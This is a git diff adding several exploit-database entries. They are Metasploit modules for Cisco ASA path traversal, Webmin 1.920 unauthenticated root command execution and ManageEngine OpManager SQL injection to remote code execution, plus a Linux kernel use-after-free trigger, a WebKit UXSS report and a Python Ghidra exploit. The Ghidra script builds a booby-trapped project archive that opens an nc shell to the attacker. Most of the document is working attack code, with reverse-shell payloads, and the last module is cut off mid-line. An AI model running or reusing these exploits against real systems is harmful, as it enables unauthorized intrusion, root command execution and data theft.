diff --git a/exploits/hardware/webapps/47220.rb b/exploits/hardware/webapps/47220.rb new file mode 100755 index 000000000..9b2bddf82 --- /dev/null +++ b/exploits/hardware/webapps/47220.rb @@ -0,0 +1,115 @@ +require 'msf/core' + + class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => "Cisco Adaptive Security Appliance - Path Traversal", + 'Description' => %q{ + Cisco Adaptive Security Appliance - Path Traversal (CVE-2018-0296) + A security vulnerability in Cisco ASA that would allow an attacker to view sensitive system information without authentication by using directory traversal techniques. + Google Dork:inurl:+CSCOE+/logon.html + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Yassine Aboukir', #Initial discovery + 'Angelo Ruwantha @h3llwings' #msf module + ], + 'References' => + [ + ['EDB', '44956'], + ['URL', 'https://www.exploit-db.com/exploits/44956/'] + ], + 'Arch' => ARCH_CMD, + 'Compat' => + { + 'PayloadType' => 'cmd' + }, + 'Platform' => ['unix','linux'], + 'Targets' => + [ + ['3000 Series Industrial Security Appliance (ISA) + ASA 1000V Cloud Firewall + ASA 5500 Series Adaptive Security Appliances + ASA 5500-X Series Next-Generation Firewalls + ASA Services Module for Cisco Catalyst 6500 Series Switches and Cisco 7600 Series Routers + Adaptive Security Virtual Appliance (ASAv) + Firepower 2100 Series Security Appliance + Firepower 4100 Series Security Appliance + Firepower 9300 ASA Security Module + FTD Virtual (FTDv)', {}] + ], + 'Privileged' => false, + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'Ex: https://vpn.example.com', '/']), + OptString.new('SSL', [true, 'set it as true', 'true']), + OptString.new('RPORT', [true, '443', '443']), + ], self.class) + end + + + def run + uri = target_uri.path + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, '/+CSCOU+/../+CSCOE+/files/file_list.json?path=/'), + + }) + + + if res && res.code == 200 && res.body.include?("{'name'") + print_good("#{peer} is Vulnerable") + print_status("Directory Index ") + print_good(res.body) + res_dir = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, '/+CSCOU+/../+CSCOE+/files/file_list.json?path=%2bCSCOE%2b'), + + }) + res_users = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, '/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/'), + + }) + userIDs=res_users.body.scan(/[0-9]\w+/).flatten + + print_status("CSCEO Directory ") + print_good(res_dir.body) + + print_status("Active Session(s) ") + print_status(res_users.body) + x=0 + begin + print_status("Getting User(s)") + while (x<=userIDs.length) + users = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, '/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/'+userIDs[x]), + + }) + + grab_username=users.body.scan(/user:\w+/) + nonstr=grab_username + if (!nonstr.nil? && nonstr!="") + print_good("#{nonstr}") + end + x=x+1 + end + rescue + print_status("Complete") + end + + + else + print_error("safe") + return Exploit::CheckCode::Safe + end + end + end \ No newline at end of file diff --git a/exploits/linux/dos/47236.c b/exploits/linux/dos/47236.c new file mode 100644 index 000000000..961176724 --- /dev/null +++ b/exploits/linux/dos/47236.c @@ -0,0 +1,265 @@ +/* +On NUMA systems, the Linux fair scheduler tracks information related to NUMA +faults in task_struct::numa_faults and task_struct::numa_group. Both of these +have broken object lifetimes. + +Since commit 82727018b0d3 ("sched/numa: Call task_numa_free() from do_execve()", +first in v3.13), ->numa_faults is freed not only when the last reference to the +task_struct is gone, but also after successful execve(). However, +show_numa_stats() (reachable through /proc/$pid/sched) locklessly reads data +from ->numa_faults (use-after-free read) and prints it to a userspace buffer. + +To test this, I used a QEMU VM with the following NUMA configuration: + + -m 8192 -smp cores=4 -numa node,nodeid=0 -numa node,nodeid=1 + +Test code is attached; it takes a while before it triggers the bug since the +race window is pretty small. + +KASAN report: +============================ +[ 909.461282] ================================================================== +[ 909.464502] BUG: KASAN: use-after-free in show_numa_stats+0x99/0x160 +[ 909.465250] Read of size 8 at addr ffff8880ac8f8f00 by task numa_uaf/18471 + +[ 909.466167] CPU: 0 PID: 18471 Comm: numa_uaf Not tainted 5.2.0-rc7 #443 +[ 909.466877] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.12.0-1 04/01/2014 +[ 909.467751] Call Trace: +[ 909.468072] dump_stack+0x7c/0xbb +[ 909.468413] ? show_numa_stats+0x99/0x160 +[ 909.468879] print_address_description+0x6e/0x2a0 +[ 909.469419] ? show_numa_stats+0x99/0x160 +[ 909.469828] ? show_numa_stats+0x99/0x160 +[ 909.470292] __kasan_report+0x149/0x18d +[ 909.470683] ? show_numa_stats+0x99/0x160 +[ 909.471137] kasan_report+0xe/0x20 +[ 909.471533] show_numa_stats+0x99/0x160 +[ 909.471988] proc_sched_show_task+0x6ae/0x1e60 +[ 909.472467] sched_show+0x6a/0xa0 +[ 909.472836] seq_read+0x197/0x690 +[ 909.473264] vfs_read+0xb2/0x1b0 +[ 909.473616] ksys_pread64+0x74/0x90 +[ 909.474034] do_syscall_64+0x5d/0x260 +[ 909.474975] entry_SYSCALL_64_after_hwframe+0x49/0xbe +[ 909.475512] RIP: 0033:0x7f6f57742987 +[ 909.475878] Code: 35 39 a4 09 00 48 8d 3d d1 a4 09 00 e8 52 77 f4 ff 66 90 48 8d 05 79 7d 0d 00 49 89 ca 8b 00 85 c0 75 10 b8 11 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 59 c3 41 55 49 89 cd 41 54 49 89 d4 55 48 89 +[ 909.477905] RSP: 002b:00005565fc10d108 EFLAGS: 00000246 ORIG_RAX: 0000000000000011 +[ 909.478684] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f6f57742987 +[ 909.479393] RDX: 0000000000001000 RSI: 00005565fc10d120 RDI: 0000000000000005 +[ 909.480254] RBP: 00005565fc10e130 R08: 00007f6f57657740 R09: 00007f6f57657740 +[ 909.481037] R10: 0000000000000000 R11: 0000000000000246 R12: 00005565fbf0b1f0 +[ 909.481821] R13: 00007ffe60338770 R14: 0000000000000000 R15: 0000000000000000 + +[ 909.482744] Allocated by task 18469: +[ 909.483135] save_stack+0x19/0x80 +[ 909.483475] __kasan_kmalloc.constprop.3+0xa0/0xd0 +[ 909.483957] task_numa_fault+0xff2/0x1d30 +[ 909.484414] __handle_mm_fault+0x94f/0x1320 +[ 909.484887] handle_mm_fault+0x7e/0x100 +[ 909.485323] __do_page_fault+0x2bb/0x610 +[ 909.485722] async_page_fault+0x1e/0x30 + +[ 909.486355] Freed by task 18469: +[ 909.486687] save_stack+0x19/0x80 +[ 909.487027] __kasan_slab_free+0x12e/0x180 +[ 909.487497] kfree+0xd8/0x290 +[ 909.487805] __do_execve_file.isra.41+0xf1e/0x1140 +[ 909.488316] __x64_sys_execve+0x4f/0x60 +[ 909.488706] do_syscall_64+0x5d/0x260 +[ 909.489144] entry_SYSCALL_64_after_hwframe+0x49/0xbe + +[ 909.490121] The buggy address belongs to the object at ffff8880ac8f8f00 + which belongs to the cache kmalloc-128 of size 128 +[ 909.491564] The buggy address is located 0 bytes inside of + 128-byte region [ffff8880ac8f8f00, ffff8880ac8f8f80) +[ 909.492919] The buggy address belongs to the page: +[ 909.493445] page:ffffea0002b23e00 refcount:1 mapcount:0 mapping:ffff8880b7003500 index:0xffff8880ac8f8d80 +[ 909.494419] flags: 0x1fffc0000000200(slab) +[ 909.494836] raw: 01fffc0000000200 ffffea0002cec780 0000000900000009 ffff8880b7003500 +[ 909.495633] raw: ffff8880ac8f8d80 0000000080150011 00000001ffffffff 0000000000000000 +[ 909.496451] page dumped because: kasan: bad access detected + +[ 909.497291] Memory state around the buggy address: +[ 909.497775] ffff8880ac8f8e00: fc fc fc fc fc fc fc fc fb fb fb fb fb fb fb fb +[ 909.498546] ffff8880ac8f8e80: fb fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc +[ 909.499319] >ffff8880ac8f8f00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb +[ 909.500034] ^ +[ 909.500429] ffff8880ac8f8f80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc +[ 909.501150] ffff8880ac8f9000: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff +[ 909.501942] ================================================================== +[ 909.502712] Disabling lock debugging due to kernel taint +============================ + + +->numa_group is a refcounted reference with RCU semantics, but the RCU helpers +are used inconsistently. In particular, show_numa_stats() reads from +p->numa_group->faults with no protection against concurrent updates. + +There are also various other places across the scheduler that use ->numa_group +without proper protection; e.g. as far as I can tell, +sched_tick_remote()->task_tick_fair()->task_tick_numa()->task_scan_start() +reads from p->numa_group protected only by the implicit read-side critical +section that spinlocks currently imply by disabling preemption, and with no +protection against the pointer unexpectedly becoming NULL. + + +I am going to send suggested fixes in a minute, but I think the approach for +->numa_group might be a bit controversial. The approach I'm taking is: + + - For ->numa_faults, just wipe the statistics instead of freeing them. + - For ->numa_group, use proper RCU accessors everywhere. + +Annoyingly, if one of the RCU accessors detects a problem (with +CONFIG_PROVE_LOCKING=y), it uses printk, and if the wrong runqueue lock is held +at that point, a deadlock might happen, which isn't great. To avoid that, the +second patch adds an ugly hack in printk that detects potential runqueue +deadlocks if lockdep is on. I'm not sure how you all are going to feel about +that one - maybe it's better to just leave it out, or do something different +there? I don't know... + +I'm sending the suggested patches off-list for now; if you want me to resend +them publicly, just say so. +*/ + +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +int sched_fd; + +int get_scan_seq(void) { + char buf[0x1000]; + ssize_t buflen = pread(sched_fd, buf, sizeof(buf)-1, 0); + if (buflen == -1) err(1, "read sched"); + buf[buflen] = '\0'; + char *p = strstr(buf, "numa_scan_seq"); + if (!p) errx(1, "no numa_scan_seq"); + *strchrnul(p, '\n') = '\0'; + p = strpbrk(p, "0123456789"); + if (!p) errx(1, "no numa_scan_seq"); + return atoi(p); +} + +void reexec(char *arg0) { + char *argv[] = {arg0, NULL}; + execvp("/proc/self/exe", argv); + err(1, "reexec"); +} + +volatile int uaf_child_ready = 0; +static int sfd_uaf(void *fd_) { + int fd = (int)(long)fd_; +/* + prctl(PR_SET_PDEATHSIG, SIGKILL); + if (getppid() == 1) raise(SIGKILL); +*/ + + while (1) { + char buf[0x1000]; + ssize_t res = pread(fd, buf, sizeof(buf)-1, 0); + if (res == -1) { + if (errno == ESRCH) _exit(0); + err(1, "pread"); + } + buf[res] = '\0'; + puts(buf); + uaf_child_ready = 1; + } +} + +int main(int argc, char **argv) { + if (strcmp(argv[0], "die") == 0) { + _exit(0); + } + sched_fd = open("/proc/self/sched", O_RDONLY|O_CLOEXEC); + if (sched_fd == -1) err(1, "open sched"); + + // allocate two pages at the lowest possible virtual address so that the first periodic memory fault is scheduled on the first page + char *page = mmap((void*)0x1000, 0x2000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0); + if (page == MAP_FAILED) err(1, "mmap"); + *page = 'a'; + + // handle the second page with uffd + int ufd = syscall(__NR_userfaultfd, 0); + if (ufd == -1) err(1, "userfaultfd"); + struct uffdio_api api = { .api = UFFD_API, .features = 0 }; + if (ioctl(ufd, UFFDIO_API, &api)) err(1, "uffdio_api"); + struct uffdio_register reg = { + .mode = UFFDIO_REGISTER_MODE_MISSING, + .range = { .start = (__u64)page+0x1000, .len = 0x1000 } + }; + if (ioctl(ufd, UFFDIO_REGISTER, ®)) + err(1, "uffdio_register"); + + // make sure that the page is on the CPU-less NUMA node + unsigned long old_nodes = 0x1; + unsigned long new_nodes = 0x2; + if (migrate_pages(0, sizeof(unsigned long), &old_nodes, &new_nodes)) err(1, "migrate_pages"); + + // trigger userfault in child + pid_t uffd_child = fork(); + if (uffd_child == -1) err(1, "fork"); + if (uffd_child == 0) { + prctl(PR_SET_PDEATHSIG, SIGKILL); + struct iovec iov = { .iov_base = (void*)0x1fff, .iov_len = 2 }; + process_vm_readv(getppid(), &iov, 1, &iov, 1, 0); + err(1, "process_vm_readv returned"); + } + sleep(1); + + int ini_seq = get_scan_seq(); + printf("initial scan_seq: %d\n", ini_seq); + if (ini_seq) reexec("m"); + + // wait for a migration + time_t start_time = time(NULL); + while (1) { + if (time(NULL) > start_time + 30) { + puts("no migration detected!"); + reexec("m"); + } + int cur_seq = get_scan_seq(); + if (cur_seq != 0) { + printf("new scan_seq: %d\n", cur_seq); + goto migration_done; + } + } + +migration_done: + printf("migration done after %d seconds\n", (int)(time(NULL)-start_time)); + while (1) { + pid_t pid = fork(); + if (pid == -1) err(1, "fork"); + if (pid == 0) { + static char uaf_stack[1024*1024]; + static char uaf_stack2[1024*1024]; + int sfd = open("/proc/self/sched", O_RDONLY); + if (sfd == -1) err(1, "open sched"); + pid_t uaf_child = clone(sfd_uaf, uaf_stack+sizeof(uaf_stack), CLONE_FILES|CLONE_VM, (void*)(long)sfd); + if (uaf_child == -1) err(1, "clone uaf_child"); + uaf_child = clone(sfd_uaf, uaf_stack2+sizeof(uaf_stack2), CLONE_FILES|CLONE_VM, (void*)(long)sfd); + if (uaf_child == -1) err(1, "clone uaf_child"); + while (!uaf_child_ready) __builtin_ia32_pause(); + *(volatile char *)page = 'b'; + reexec("die"); + } + int status; + if (wait(&status) != pid) err(1, "wait"); + } +} \ No newline at end of file diff --git a/exploits/linux/local/47231.py b/exploits/linux/local/47231.py new file mode 100755 index 000000000..4a486a4b1 --- /dev/null +++ b/exploits/linux/local/47231.py @@ -0,0 +1,60 @@ +import os +import inspect +import argparse +import shutil +from shutil import copyfile + +print("") +print("") +print("################################################") +print("") +print("------------------CVE-2019-13623----------------") +print("") +print("################################################") +print("") +print("-----------------Ghidra-Exploit-----------------") +print("--Tested version: Ghidra Linux version <= 9.0.4-") +print("------------------------------------------------") +print("") +print("################################################") +print("") +print("----------Exploit by: Etienne Lacoche-----------") +print("---------Contact Twitter: @electr0sm0g----------") +print("") +print("------------------Discovered by:----------------") +print("---------https://blog.fxiao.me/ghidra/----------") +print("") +print("--------Exploit tested on Ubuntu 18.04----------") +print("-----------------Dependency: zip----------------") +print("") +print("################################################") +print("") +print("") + +parser = argparse.ArgumentParser() +parser.add_argument("file", help="Path to input export .gar file",default=1) +parser.add_argument("ip", help="Ip to nc listener",default=1) +parser.add_argument("port", help="Port to nc listener",default=1) + +args = parser.parse_args() + +if args.ip and args.port and args.file: + + rootDirURL=os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe()))) + path = "../Ghidra/Features/Decompiler/os/linux64/decompile" + os.system("mkdir -p ../Ghidra/Features/Decompiler/os/linux64/") + os.system("echo 'rm -f x; mknod x p && nc "+args.ip+" "+args.port+" 0x' > decompile") + os.system("chmod +x decompile") + copyfile("decompile",path) + copyfile(args.file,rootDirURL+"/"+"project.gar") + os.system("zip -q project.gar ../Ghidra/Features/Decompiler/os/linux64/decompile") + os.system("echo 'To fully export this archive, place project.gar to GHIDRA_INSTALL_DIR root path and open it with Restore Project at Ghidra.' > README_BEFORE_OPEN_GAR_FILE") + os.system("zip -q project.zip README_BEFORE_OPEN_GAR_FILE") + os.system("zip -q project.zip project.gar") + os.system("rm decompile README_BEFORE_OPEN_GAR_FILE") + os.system("rm project.gar") + print("You can now share project.zip and start your local netcat listener.") + print("") + print("Project.gar must be placed and opened by victim at GHIDRA_INSTALL_DIR") + print("root path for payload execution.") + print("") \ No newline at end of file diff --git a/exploits/linux/remote/47230.rb b/exploits/linux/remote/47230.rb new file mode 100755 index 000000000..800821c83 --- /dev/null +++ b/exploits/linux/remote/47230.rb @@ -0,0 +1,125 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Webmin 1.920 Unauthenticated RCE', + 'Description' => %q( + This module exploits an arbitrary command execution vulnerability in Webmin + 1.920 and prior versions. If the password change module is turned on, the unathenticated user + can execute arbitrary commands with root privileges. + + /////// This 0day has been published at DEFCON-AppSec Village. /////// + + ), + 'Author' => [ + 'AkkuS <Özkan Mustafa Akkuş>' # Discovery & PoC & Metasploit module @ehakkus + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2019-'], + ['URL', 'https://www.pentest.com.tr'] + ], + 'Privileged' => true, + 'Payload' => + { + 'DisableNops' => true, + 'Space' => 512, + 'Compat' => + { + 'PayloadType' => 'cmd' + } + }, + 'DefaultOptions' => + { + 'RPORT' => 10000, + 'SSL' => false, + 'PAYLOAD' => 'cmd/unix/reverse_python' + }, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Targets' => [['Webmin <= 1.910', {}]], + 'DisclosureDate' => 'May 16 2019', + 'DefaultTarget' => 0) + ) + register_options [ + OptString.new('TARGETURI', [true, 'Base path for Webmin application', '/']) + ] + end + + def peer + "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}" + end + ## + # Target and input verification + ## + def check + # check passwd change priv + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, "password_change.cgi"), + 'headers' => + { + 'Referer' => "#{peer}/session_login.cgi" + }, + 'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1" + }) + + if res && res.code == 200 && res.body =~ /Failed/ + res = send_request_cgi( + { + 'method' => 'POST', + 'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1", + 'ctype' => 'application/x-www-form-urlencoded', + 'uri' => normalize_uri(target_uri.path, 'password_change.cgi'), + 'headers' => + { + 'Referer' => "#{peer}/session_login.cgi" + }, + 'data' => "user=root&pam=&expired=2&old=AkkuS%7cdir%20&new1=akkuss&new2=akkuss" + }) + + if res && res.code == 200 && res.body =~ /password_change.cgi/ + return CheckCode::Vulnerable + else + return CheckCode::Safe + end + else + return CheckCode::Safe + end + end + + ## + # Exploiting phase + ## + def exploit + + unless Exploit::CheckCode::Vulnerable == check + fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') + end + + command = payload.encoded + print_status("Attempting to execute the payload...") + handler + res = send_request_cgi( + { + 'method' => 'POST', + 'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1", + 'ctype' => 'application/x-www-form-urlencoded', + 'uri' => normalize_uri(target_uri.path, 'password_change.cgi'), + 'headers' => + { + 'Referer' => "#{peer}/session_login.cgi" + }, + 'data' => "user=root&pam=&expired=2&old=AkkuS%7c#{command}%20&new1=akkuss&new2=akkuss" + }) + + end +end \ No newline at end of file diff --git a/exploits/multiple/dos/47237.txt b/exploits/multiple/dos/47237.txt new file mode 100644 index 000000000..6698762b5 --- /dev/null +++ b/exploits/multiple/dos/47237.txt @@ -0,0 +1,138 @@ +VULNERABILITY DETAILS +https://trac.webkit.org/browser/webkit/trunk/Source/WebCore/xml/XSLTProcessor.cpp#L66 +``` +Ref XSLTProcessor::createDocumentFromSource(const String& sourceString, + const String& sourceEncoding, const String& sourceMIMEType, Node* sourceNode, Frame* frame) +{ + Ref ownerDocument(sourceNode->document()); + bool sourceIsDocument = (sourceNode == &ownerDocument.get()); + String documentSource = sourceString; + + RefPtr result; + if (sourceMIMEType == "text/plain") { + result = XMLDocument::createXHTML(frame, sourceIsDocument ? ownerDocument->url() : URL()); + transformTextStringToXHTMLDocumentString(documentSource); + } else + result = DOMImplementation::createDocument(sourceMIMEType, frame, sourceIsDocument ? ownerDocument->url() : URL()); + + // Before parsing, we need to save & detach the old document and get the new document + // in place. We have to do this only if we're rendering the result document. + if (frame) { +[...] + frame->setDocument(result.copyRef()); + } + + auto decoder = TextResourceDecoder::create(sourceMIMEType); + decoder->setEncoding(sourceEncoding.isEmpty() ? UTF8Encoding() : TextEncoding(sourceEncoding), TextResourceDecoder::EncodingFromXMLHeader); + result->setDecoder(WTFMove(decoder)); + + result->setContent(documentSource); +``` + +https://trac.webkit.org/browser/webkit/trunk/Source/WebCore/page/Frame.cpp#L248 +``` +void Frame::setDocument(RefPtr&& newDocument) +{ + ASSERT(!newDocument || newDocument->frame() == this); + + if (m_documentIsBeingReplaced) // ***1*** + return; + + m_documentIsBeingReplaced = true; + +[...] + + if (m_doc && m_doc->pageCacheState() != Document::InPageCache) + m_doc->prepareForDestruction(); // ***2*** + + m_doc = newDocument.copyRef(); +``` + +`setDocument` calls `Document::prepareForDestruction`, which might trigger JavaScript execution via +a nested frame's "unload" event handler. Therefore the `m_documentIsBeingReplaced` flag has been +introduced to avoid reentrant calls. The problem is that by the time `setDocument` is called, +`newDocument` might already have a reference to a `Frame` object, and if the method returns early, +that reference will never get cleared by subsequent navigations. It's not possible to trigger +document replacement inside `setDocument` via a regular navigation request or a 'javascript:' URI +load; however, an attacker can use an XSLT transformation for that. + +When the attacker has an extra document attached to a frame, they can navigate the frame to a +cross-origin page and issue a form submission request to a 'javascript:' URI using the extra +document to trigger UXSS. + +VERSION +WebKit revision 245321. +It should affect the stable branch as well, but the test case crashes Safari 12.1.1 (14607.2.6.1.1). + +REPRODUCION CASE +repro.html: +``` + + + + +``` + +stylesheet.xml: +``` + + + + + + + + + + + +``` + +CREDIT INFORMATION +Sergei Glazunov of Google Project Zero \ No newline at end of file diff --git a/exploits/multiple/remote/47227.rb b/exploits/multiple/remote/47227.rb new file mode 100755 index 000000000..fbe2778e0 --- /dev/null +++ b/exploits/multiple/remote/47227.rb @@ -0,0 +1,408 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => "ManageEngine OpManager 12.4x - Privilege Escalation / Remote Command Execution", + 'Description' => %q( + This module exploits sqli and command injection vulnerability in the OpManager v12.4.034 and prior versions. + + Module creates a new admin user with SQLi (MSSQL/PostgreSQL) and provides privilege escalation. + Therefore low authority user can gain the authority of "system" on the server. + It uploads malicious file using the "Execute Program Action(s)" feature of Application Manager Plugin. + + /////// This 0day has been published at DEFCON-AppSec Village. /////// + + ), + 'License' => MSF_LICENSE, + 'Author' => + [ + 'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus + ], + 'References' => + [ + [ 'URL', 'http://pentest.com.tr/exploits/DEFCON-ManageEngine-OpManager-v12-4-Privilege-Escalation-Remote-Command-Execution.html' ] + ], + 'DefaultOptions' => + { + 'WfsDelay' => 60, + 'RPORT' => 8060, + 'SSL' => false, + 'PAYLOAD' => 'generic/shell_reverse_tcp' + }, + 'Privileged' => true, + 'Payload' => + { + 'DisableNops' => true, + }, + 'Platform' => ['unix', 'win'], + 'Targets' => + [ + [ 'Windows Target', + { + 'Platform' => ['win'], + 'Arch' => ARCH_CMD, + } + ], + [ 'Linux Target', + { + 'Platform' => ['unix'], + 'Arch' => ARCH_CMD, + 'Payload' => + { + 'Compat' => + { + 'PayloadType' => 'cmd', + } + } + } + ] + ], + 'DisclosureDate' => '10 August 2019 //DEFCON', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('USERNAME', [true, 'OpManager Username']), + OptString.new('PASSWORD', [true, 'OpManager Password']), + OptString.new('TARGETURI', [true, 'Base path for ME application', '/']) + ],self.class) + end + + def check_platform(host, port, cookie) + + res = send_request_cgi( + 'rhost' => host, + 'rport' => port, + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'showTile.do'), + 'cookie' => cookie, + 'vars_get' => { + 'TileName' => '.ExecProg', + 'haid' => 'null', + } + ) + if res && res.code == 200 && res.body.include?('createExecProgAction') + @dir = res.body.split('name="execProgExecDir" maxlength="200" size="40" value="')[1].split('" class=')[0] + if @dir =~ /:/ + platform = Msf::Module::Platform::Windows + else + platform = Msf::Module::Platform::Unix + end + else + fail_with(Failure::Unreachable, 'Connection error occurred! DIR could not be detected.') + end + file_up(host, port, cookie, platform, @dir) + end + + def file_up(host, port, cookie, platform, dir) + if platform == Msf::Module::Platform::Windows + filex = ".bat" + else + if payload.encoded =~ /sh/ + filex = ".sh" + elsif payload.encoded =~ /perl/ + filex = ".pl" + elsif payload.encoded =~ /awk 'BEGIN{/ + filex = ".sh" + elsif payload.encoded =~ /python/ + filex = ".py" + elsif payload.encoded =~ /ruby/ + filex = ".rb" + else + fail_with(Failure::Unknown, 'Payload type could not be checked!') + end + end + + @fname= rand_text_alpha(9 + rand(3)) + filex + data = Rex::MIME::Message.new + data.add_part('./', nil, nil, 'form-data; name="uploadDir"') + data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"theFile\"; filename=\"#{@fname}\"") + + res = send_request_cgi({ + 'rhost' => host, + 'rport' => port, + 'method' => 'POST', + 'data' => data.to_s, + 'agent' => 'Mozilla', + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'cookie' => cookie, + 'uri' => normalize_uri(target_uri, "Upload.do") + }) + + if res && res.code == 200 && res.body.include?('icon_message_success') + print_good("#{@fname} malicious file has been uploaded.") + create_exec_prog(host, port, cookie, dir, @fname) + else + fail_with(Failure::Unknown, 'The file could not be uploaded!') + end + end + + def create_exec_prog(host, port, cookie, dir, fname) + + @display = rand_text_alphanumeric(7) + res = send_request_cgi( + 'method' => 'POST', + 'rhost' => host, + 'rport' => port, + 'uri' => normalize_uri(target_uri.path, 'adminAction.do'), + 'cookie' => cookie, + 'vars_post' => { + 'actions' => '/showTile.do?TileName=.ExecProg&haid=null', + 'method' => 'createExecProgAction', + 'id' => 0, + 'displayname' => @display, + 'serversite' => 'local', + 'choosehost' => -2, + 'abortafter' => 5, + 'command' => fname, + 'execProgExecDir' => dir, + 'cancel' => 'false' + } + ) + + if res && res.code == 200 && res.body.include?('icon_message_success') + actionid = res.body.split('actionid=')[1].split("','710','350','250','200')")[0] + print_status("Transactions completed. Attempting to get a session...") + exec(host, port, cookie, actionid) + else + fail_with(Failure::Unreachable, 'Connection error occurred!') + end + end + + def exec(host, port, cookie, action) + send_request_cgi( + 'method' => 'GET', + 'rhost' => host, + 'rport' => port, + 'uri' => normalize_uri(target_uri.path, 'common', 'executeScript.do'), + 'cookie' => cookie, + 'vars_get' => { + 'method' => 'testAction', + 'actionID' => action, + 'haid' => 'null' + } + ) + end + + def peer + "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}" + end + + def print_status(msg='') + super("#{peer} - #{msg}") + end + + def print_error(msg='') + super("#{peer} - #{msg}") + end + + def print_good(msg='') + super("#{peer} - #{msg}") + end + + def check + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'apiclient', 'ember', 'Login.jsp'), + ) + # For this part the build control will be placed. + # For now, AppManager plugin control is sufficient. + if res && res.code == 200 && res.body.include?('Logout.do?showPreLogin=false') + return Exploit::CheckCode::Vulnerable + else + return Exploit::CheckCode::Safe + end + end + + def app_login + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'apiclient', 'ember', 'Login.jsp'), + ) + + appm_adr = res.body.split('